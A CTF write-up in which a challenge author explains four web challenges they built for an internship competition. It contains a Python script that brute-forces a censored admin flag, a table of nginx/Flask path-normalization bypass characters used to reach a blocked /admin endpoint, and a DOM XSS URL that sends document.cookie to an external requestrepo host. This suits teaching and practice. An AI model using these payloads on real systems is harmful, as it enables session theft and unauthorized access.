Penforce CTF
In this post, I’m going to share four challenges I created for the Penforce Internship CTF Competition. The goal of these challenges was to give participants hands-on experience with different security concepts, ranging from web vulnerabilities to tricky bypass techniques. Each challenge was designed not only to test problem-solving skills but also to highlight real-world attack surfaces that security professionals often encounter.
Throughout this write-up, I’ll walk through the challenges step by step, explain the thought process behind their design, and share how they can be solved. Whether you’re new to CTFs or already familiar with them, I hope this breakdown gives you both insight and inspiration for creating or solving your own challenges.
Base Instincts
that was a just warmup challenge, anyway let’s start solving it we start by landing to a page for registration
after signingup and login we see another page to access the something called secret
after that we access anthoer page that has like a some random string in it, it looks encoded or encrypted we don’t know yet but seeing the endpoint name it’s called /hidden-page-91 very strigt forward
by knowing the challenge name and the number in
hidden-page-91
let’s search for base91 and try to decode it using that algorithem
and that was the soltion for this challange.
Bru7eFeed
this was a simple and a fun challenge it required some scripting and bruteforcing we sart by landing in a login page
after that we some posts from different users and a filter search that takes a 3 char and return anypost that has those 3 charachters
the source code is given in the challenge description so let’s see what’s happening there, we have the posts in dict
and the route that takes the 3 chars and return the posts
but the function censor_posts returns the admins posts in stars
Knowing the flag is stored in an admin post and that the flag uses a known prefix, we can brute-force it. Supply the first two known characters as a prefix and fuzz the unknown third character to discover the rest. we will make a script to autoamte this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
url = "http://192.168.1.9:4001/posts"
cookies = {"session": "eyJ1c2VyIjoibWVtIn0.aMHTJA.gFCmt-LsXh5K_-gYD6fO8uf9XhA"}
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_"
def has_admin(chars: str) -> bool:
try:
r = requests.post(url, cookies=cookies, data={"chars": chars}, timeout=5)
data = r.json()
return any(p.get("user") == "admin" for p in data)
except Exception as e:
print(f"[!] Error with {chars}: {e}")
return False
flag = "PCT" # starting prefix
print("[+] Start:", flag)
while True:
prefix = flag[-2:] # last two known chars
found = None
with ThreadPoolExecutor(max_workers=10) as executor: # 10 threads
futures = {executor.submit(has_admin, prefix + c): c for c in charset}
for future in as_completed(futures):
c = futures[future]
if future.result():
found = c
break # stop as soon as we find the right char
if not found:
print("[!] No more chars found, stopping.")
break
flag += found
print(f"[+] Next char: {found} -> {flag}")
if found == "}":
print("[*] Done! Flag =", flag)
break
Ela5der
This was a fun and an intersting challenge to know, first let’s explore the challenge
We start by landing at the home page, no much functionality just registration and login
After loging we still land at the home page and there is nothing more to show so let’s see the source code and see what can be found.
So we check the source to see what the app is doing. In the routes listing we notice an /admin endpoint. It isn’t restricted to specific roles; any authenticated user can access it — which we already are. but..
the app runs behined nginx Hmm, Back to the source code we found a file called Ela5der.conf inside nginx directory
Nginx is forbidding any access to the /admin endpoint — seems very secure, isn’t it? Unfortunately, it’s not.
To prevent security issues on URI-based rules, Nginx performs path normalization before checking them. Path normalization in Nginx refers to the process of transforming and standardizing requested URLs to a consistent and canonical format before handling them. It involves removing redundant or unnecessary elements from the URL path, such as extra slashes, dot segments, processing path traversal, and URL-encoded characters, to ensure uniformity and proper routing within the web server.
There has been research on how Nginx handles rules, specifically how it normalizes certain characters while others remain unaffected. https://blog.bugport.net/exploiting-http-parsers-inconsistencies#heading-nginx-acl-rules
so by knowing that the application is runing a flask application we need to find a charachters that nginx doesn’t normalize but flask does
Nginx Version Flask Bypass Characters
Nginx Version | Flask Bypass Characters |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
the nginx that is runing on the backend is version 1.26.3 but guess what it’s still doesn’t normalize the \xA0
So we will try to send a request like this in burp
GET /admin\xA0 HTTP/1.1
Gimme FLag
This is an interesting XSS challenge that leverages the javascript URI scheme with a restricted open-redirect URL.
let’s register an account and login
after we login we land on a dashboard page it doens’t really have something interesting let’s visit the profile and see what’s there
the first thing that comes to your mind is stored xss but no it’s not :”) we have provided the source code let’s see if there is something intresting there is no much intresting about it other than the visit route that takes a url from us and sends it to the bot
the bot takes a url and open a headless browser and sets a cookie in this case is the flag
see we need to find a way to get the xss, Back to the user profile let’s inspect the page
we see that we can update the username using a param called name
which will be updated using document.getElementById('displayName').textContent
but is it vulnerable to xss ? hmm let’s see
Nope — it’s not that the script gets rendered. Back to the script: we found a parameter called url which is used to redirect users to any other domain. Hmm — thinking of leaving the javascript: scheme, isn’t it? But wait: it’s limited to 15 characters, so there is no way to find a payload under 15 characters that can steal the cookie.
Let’s play a little with what’s in this script using the browser console. since there is no way to put more than 15 chars in the url
param and there is already a javascript variables decalred in the script
tag we can use them to hold the payload we want to execute and use that variable to trigger this payload the first thing that come to yourmind is eval()
right let’s see in console
ok let’s use eval this time but with window.location.href
ofc it gave use 404 :”)
let’s try this time javascript:
schema
still nothing let’s try it this time with window.location.href="javascript:str"
and viooola the payload got triggred.
let’s try to get our own cookie
nice we now got the Dom xss let’s get the bot cookie which conatins the flag by sending
http://192.168.1.9:5000/profile/ea7fc763-38d1-4c5d-bd6d-f518602c3e10?name=<script>fetch('https://30xbwg5j.requestrepo.com/'%2bdocument.cookie)</script>&url=javascript:name
and a few seconds later we have our flag :”
and that’s it i hope u enjoyed my lovely challenges can’t wait to create more.